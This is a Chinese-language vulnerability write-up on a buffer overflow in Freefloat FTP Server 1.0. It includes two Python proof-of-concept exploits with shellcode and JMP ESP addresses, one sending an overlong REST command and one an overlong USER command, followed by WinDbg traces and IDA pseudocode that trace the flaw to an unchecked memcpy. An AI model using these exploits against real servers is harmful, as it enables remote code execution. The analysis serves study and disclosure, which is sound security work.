Freefloat FTP Server远程代码执行漏洞

作者:k0shl 转载请注明出处

漏洞说明


软件下载地址:
https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip

PoC:

#!/usr/bin/python
#
#[+]Exploit Title: FreeFloat FTP Server REST and PASV Buffer Overflow Exploit
#[+]Date: 18\06\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
#[+]Version: 1.00
#[+]Tested On: Windows XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#
 
import errno
from os import strerror
from socket import *
import sys
from time import sleep
from struct import pack
 
if len(sys.argv) != 3:
    print "[-]Usage: python %s <ip> <port>" % sys.argv[0]
    print "[-]Exemple: python %s 192.168.1.2 21" % sys.argv[0]
    sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
 
shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"#Shellcode WinExec CALC
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"#Know badchars "\x00\xff\x0d\x0a\x3d\x20"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
"\x7f\xe8\x7b\xca")
buf = "\x41" * 246
buf += pack('<L',0x7C91FCD8)#JMP ESP in ntdll.dll
buf += "\x90" * 20
buf += shellcode
 
print "[+]Connecting with server..."
sleep(1)
try:
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((ip,port))
    s.recv(2000)
    s.send("USER test\r\n")
    s.recv(2000)
    s.send("PASS test\r\n")
    s.recv(2000)
    s.send("REST "+buf+"\r\n")
    s.close()
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((ip,port))#Server needs connect AGAIN to CRASH and ocorrs the buffer overflow bug.
    sleep(1)#Wait a segund
    s.close()#Close connection CRASH
    print "[+]Exploit sent with sucess"
except:
    print "[*]Error in connection with server: "+ip

测试环境:
Windows xp sp3
IDA pro
Windbg
测试的时候用的这个PoC,应该是无法执行shellcode的,测试环境是巴西语言版本的xp,如果想触发,其实可以把shellcode修改成\x41,保证异常的发生,运行Freefloat FTP之后,执行PoC,附加windbg,可以测试崩溃。如果有创宇的PoCsuite,也可以用我下面给的我写的PoC。


漏洞复现


#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '71856'  # ssvid
    version = '1.0'
    author = ['k0Sh1血战排行榜']
    vulDate = ''
    createDate = '2015-12-24'
    updateDate = '2015-12-24'
    references = ['http://www.sebug.net/vuldb/ssvid-71856']
    name = 'Freefloat FTP Server Buffer Overflow Vulnerability (MSF)'
    appPowerLink = 'http://www.freefloat.com/'
    appName = 'freefloat ftp'
    appVersion = '1.0'
    vulType = 'Remote Code Execution'
    desc = '''
        由于pocsuite目前不支持二进制类型的POC,使用时需注意:
        1、远程socket时IP默认为127.0.0.1,如需对其他IP测试,需要手动在POC中修改
        2、使用时,命令需加入-u,建议使用http://127.0.0.1,实际不起作用,但由于
           pocsuite框架设定,必须输入
        3、若测试,则使用-verify,若攻击,则使用-attack,但由于jmp esp地址对应
           操作系统版本有所不同,jmp esp地址需要根据目标环境自行调整
    '''
    samples = ['']

      def _attack(self):
        result = {}
        #Write your code here
        sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
        sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
        sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
        sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
        sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
        sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
        sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
        sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
        sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
        sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
        sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
        sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
        sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
        sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
        sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
        sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
        sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
        sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
        sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
        sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
        sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
        sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
        sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
        sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
        sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

        padding = "A"*230
        sled = "\x90"*50
        jmpesp = struct.pack('<L',0x7C91FCD8) #jmp esp winxp3 
        sploit = padding + jmpesp + sled + shellcode
        s = socket(AF_INET,SOCK_STREAM)
        s.connect(('127.0.0.1',21))
        s.send("USER "+ sploit + "\r\n")
        s.close()
        return self.parse_output(result)

    def _verify(self):
        result = {}
        #Write your code here 
        sploit = '\41' * 500
        s = socket(AF_INET,SOCK_STREAM)
        s.connect(('127.0.0.1',21))
        s.send("USER "+ sploit + "\r\n")
        s.close()
                    
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('USER FreeFloat FTP failure!')
        return output


register(TestPOC)

此漏洞是由于对登录时的USER命令没有进行严格的检查,从而导致传入超长登录名时,会造成缓冲区溢出,下面对此漏洞进行详细分析,首先用pocsuite执行poc,程序崩溃,附加windbg,到达漏洞现场。

0:002> g
(314.570): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000218 ebx=0000001a ecx=0014d7d8 edx=7c92e4f4 esi=0040a29e edi=008f19af
eip=41414141 esp=00bdfc2c ebp=008f1270 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 jQuery21405474613346159458_1450968285899              ???

通过kb查看堆栈调用

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
00bdfc28 41414141 41414141 41414141 41414141 0x41414141
00bdfc2c 41414141 41414141 41414141 41414141 0x41414141
00bdfc30 41414141 41414141 41414141 41414141 0x41414141
00bdfc34 41414141 41414141 41414141 41414141 0x41414141
00bdfc38 41414141 41414141 41414141 41414141 0x41414141
00bdfc3c 41414141 41414141 41414141 41414141 0x41414141
00bdfc40 41414141 41414141 41414141 41414141 0x41414141
00bdfc44 41414141 41414141 41414141 41414141 0x41414141
00bdfc48 41414141 41414141 41414141 41414141 0x41414141
00bdfc4c 41414141 41414141 41414141 41414141 0x41414141
00bdfc50 41414141 41414141 41414141 41414141 0x41414141
00bdfc54 41414141 41414141 41414141 41414141 0x41414141
00bdfc58 41414141 41414141 41414141 41414141 0x41414141
00bdfc5c 41414141 41414141 41414141 41414141 0x41414141
00bdfc60 41414141 41414141 41414141 41414141 0x41414141
00bdfc64 41414141 41414141 41414141 41414141 0x41414141
00bdfd64 7c92d26c 719c440b 000000cc 000000dc 0x41414141
00bdfe40 00401dfe 0040213f 000000cc 008f1270 ntdll!ZwDeviceIoControlFile+0xc
00bdfe44 0040213f 000000cc 008f1270 7c802530 FTPServer+0x1dfe
00bdfe58 0040306a 00000000 000000cc 00bdffec FTPServer+0x213f
00000000 00000000 00000000 00000000 00000000 FTPServer+0x306a

可以看到堆栈此时已经被破坏了,下面我们进入调试过程。


漏洞的分析


在00bdfe40处可以看到之前堆栈的调用,在00401dfe的位置,我们可以来到这里看一下具体的汇编代码。

.text:00401DF6                 push    ecx             ; len
.text:00401DF7                 push    edx             ; buf
.text:00401DF8                 push    eax             ; s
.text:00401DF9                 call    recv

这里可以看到上一个位置调用了recv函数,而其中eax,edx,ecx分别是用来接收的recv参数,我们确定了断点位置之后,我们重新执行poc,程序到达,就应该是这一次recv接收到了登陆命令USER,接下来我们进行单步。

0:002> g
Breakpoint 0 hit
eax=000000cc ebx=00000000 ecx=00000400 edx=008f18b8 esi=008f1270 edi=000000cc
eip=00401df9 esp=00bdfe48 ebp=7c802530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
FTPServer+0x1df9:
00401df9 e86e190000      call    FTPServer+0x376c (0040376c)
0:002> p
eax=000001fa ebx=00000000 ecx=0014d7d8 edx=00000001 esi=008f1270 edi=000000cc
eip=00401dfe esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
FTPServer+0x1dfe:
00401dfe 85c0            test    eax,eax
0:002> p
eax=000001fa ebx=00000000 ecx=0014d7d8 edx=00000001 esi=008f1270 edi=000000cc
eip=00401e00 esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
FTPServer+0x1e00:
00401e00 7414            je      FTPServer+0x1e16 (00401e16)             [br=0]
0:002> p
eax=000001fa ebx=00000000 ecx=0014d7d8 edx=00000001 esi=008f1270 edi=000000cc
eip=00401e02 esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
FTPServer+0x1e02:
00401e02 83f8ff          cmp     eax,0FFFFFFFFh
0:002> p
eax=000001fa ebx=00000000 ecx=0014d7d8 edx=00000001 esi=008f1270 edi=000000cc
eip=00401e05 esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
FTPServer+0x1e05:
00401e05 740f            je      FTPServer+0x1e16 (00401e16)             [br=0]
0:002> p
eax=000001fa ebx=00000000 ecx=0014d7d8 edx=00000001 esi=008f1270 edi=000000cc
eip=00401e07 esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
FTPServer+0x1e07:
00401e07 8b4e18          mov     ecx,dword ptr [esi+18h] ds:0023:008f1288=00000000
0:002> p
eax=000001fa ebx=00000000 ecx=00000000 edx=00000001 esi=008f1270 edi=000000cc
eip=00401e0a esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
FTPServer+0x1e0a:
00401e0a 03c8            add     ecx,eax
0:002> p
eax=000001fa ebx=00000000 ecx=000001fa edx=00000001 esi=008f1270 edi=000000cc
eip=00401e0c esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
FTPServer+0x1e0c:
00401e0c b801000000      mov     eax,1
0:002> p
eax=00000001 ebx=00000000 ecx=000001fa edx=00000001 esi=008f1270 edi=000000cc
eip=00401e11 esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
FTPServer+0x1e11:
00401e11 894e18          mov     dword ptr [esi+18h],ecx ds:0023:008f1288=00000000
0:002> p
eax=00000001 ebx=00000000 ecx=000001fa edx=00000001 esi=008f1270 edi=000000cc
eip=00401e14 esp=00bdfe58 ebp=7c802530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
FTPServer+0x1e14:
00401e14 5e              pop     esi
0:002> p
eax=00000001 ebx=00000000 ecx=000001fa edx=00000001 esi=008f1270 edi=000000cc
eip=00401e15 esp=00bdfe5c ebp=7c802530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
FTPServer+0x1e15:
00401e15 c3              ret
0:002> p
eax=00000001 ebx=00000000 ecx=000001fa edx=00000001 esi=008f1270 edi=000000cc
eip=0040305f esp=00bdfe60 ebp=7c802530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
FTPServer+0x305f:
0040305f 85c0            test    eax,eax
0:002> p
eax=00000001 ebx=00000000 ecx=000001fa edx=00000001 esi=008f1270 edi=000000cc
eip=00403061 esp=00bdfe60 ebp=7c802530 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
FTPServer+0x3061:
00403061 7414            je      FTPServer+0x3077 (00403077)             [br=0]
0:002> p
eax=00000001 ebx=00000000 ecx=000001fa edx=00000001 esi=008f1270 edi=000000cc
eip=00403063 esp=00bdfe60 ebp=7c802530 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
FTPServer+0x3063:
00403063 8bce            mov     ecx,esi
0:002> p
eax=00000001 ebx=00000000 ecx=008f1270 edx=00000001 esi=008f1270 edi=000000cc
eip=00403065 esp=00bdfe60 ebp=7c802530 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
FTPServer+0x3065:
00403065 e876f0ffff      call    FTPServer+0x20e0 (004020e0)
0:002> p
eax=00000218 ebx=0000001a ecx=0014d7d8 edx=7c92e4f4 esi=0040a29e edi=008f19af
eip=41414141 esp=00bdfc2c ebp=008f1270 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???

当步过00403065调用时,到达漏洞现场,那么漏洞可能出现在sub_4020e0中,通过ida pro观察这一处调用情况

.text:00403054                 test    eax, eax
.text:00403056                 jz      short loc_40306E
.text:00403058                 mov     ecx, esi
.text:0040305A                 call    sub_401DE0
.text:0040305F                 test    eax, eax
.text:00403061                 jz      short loc_403077
.text:00403063                 mov     ecx, esi
.text:00403065                 call    sub_4020E0

可以看到此时调用的是sub_4020e0函数,我们需要跟进这个函数中,重新启动FTP,运行poc,再次到达函数时我们步进,单步到达如下指令

0:002> p
eax=00000001 ebx=008f1270 ecx=008f1270 edx=000001fb esi=008f1270 edi=000000cc
eip=004020e8 esp=00bdfe50 ebp=7c802530 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
FTPServer+0x20e8:
004020e8 8b4314          mov     eax,dword ptr [ebx+14h] ds:0023:008f1284=008f18b8
0:002> p
eax=008f18b8 ebx=008f1270 ecx=008f1270 edx=000001fb esi=008f1270 edi=000000cc
eip=004020eb esp=00bdfe50 ebp=7c802530 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
FTPServer+0x20eb:
004020eb 57              push    edi
0:002> dc eax
008f18b8  52455355 41414120 41414141 41414141  USER AAAAAAAAAAA
008f18c8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f18d8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f18e8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f18f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f1908  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f1918  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f1928  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

畸形字符串伴随登陆USER命令传入了,接下来我们继续执行,发现函数进入了一个循环中

004020f6 8a08            mov     cl,byte ptr [eax]          ds:0023:008f18b9=4b
004020f8 80f90d          cmp     cl,0Dh
004020fb 740d            je      FTPServer+0x210a (0040210a)
004020fd 80f90a          cmp     cl,0Ah
00402100 7428            je      FTPServer+0x212a (0040212a)
00402102 47              inc     edi
00402103 40              inc     eax
00402104 3bfa            cmp     edi,edx
00402106 7cee            jl      FTPServer+0x20f6 (004020f6)

这个函数的第一条指令,将eax地址存放的内容交给cl,那么我们可以看一看一轮循环执行结束后,堆栈中的变化,尤其是eax

0:002> p
eax=008f18b9 ebx=008f1270 ecx=008f1255 edx=000001fb esi=00000000 edi=00000001
eip=00402106 esp=00bdfe4c ebp=00000000 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
FTPServer+0x2106:
00402106 7cee            jl      FTPServer+0x20f6 (004020f6)             [br=1]
0:002> p
eax=008f18b9 ebx=008f1270 ecx=008f1255 edx=000001fb esi=00000000 edi=00000001
eip=004020f6 esp=00bdfe4c ebp=00000000 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
FTPServer+0x20f6:
004020f6 8a08            mov     cl,byte ptr [eax]          ds:0023:008f18b9=53
0:002> dc eax
008f18b9  20524553 41414141 41414141 41414141  SER AAAAAAAAAAAA
008f18c9  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f18d9  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f18e9  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f18f9  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f1909  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f1919  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
008f1929  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到原来eax地址偏移为0的地方的U已经拷贝出去了,其实只是eax地址加一,但我们可以这么理解,那么我们可以初步判断这是一个拷贝字符串的函数,也就是因为这样,才会造成缓冲区溢出,我们来观察一下sub_4020e0这个函数的伪代码

while ( *(_BYTE *)v1 != 13 )
    {
      if ( *(_BYTE *)v1 == 10 )
      {
        *(_BYTE *)v1 = 0;
        v6 = v1 + 1;
        v4 = v5 + 1;
        goto LABEL_11;
      }
      ++v5;
      ++v1;
      if ( v5 >= v2 )
        goto LABEL_11;
    }

我们需要重点观察v1和v6两个参数,他们分别对应的是eax和esi,eax正是我们拷贝到畸形字符串的寄存器,这里将v1的字符串赋值给了v6,之后v1自加1获得下一个字符,在下一次循环中再次赋值,可以看到这里赋值时并没有对长度进行检查,接下来执行了一次拷贝操作

if ( result )
  {
    v8 = *(_DWORD *)(v3 + 24);
    if ( v8 > v4 )
    {
      memcpy(*(void **)(v3 + 20), (const void *)v6, v8 - v4);
      *(_DWORD *)(v3 + 24) -= v4;
      return 1;
    }
    *(_DWORD *)(v3 + 24) = 0;
    return 1;
  }
  return result;

可以看到此漏洞USER依然是执行同样的函数操作,memcpy中将v6的值交给v3,而就是这个memcpy操作,进入前依然没有对长度进行有效检查,从而导致超长字符串拷贝至缓冲区中,而使esp的值被覆盖,导致返回地址返回esp时,跳转到一个不可读的地址,从而导致了漏洞的发生。

Comments
Write a Comment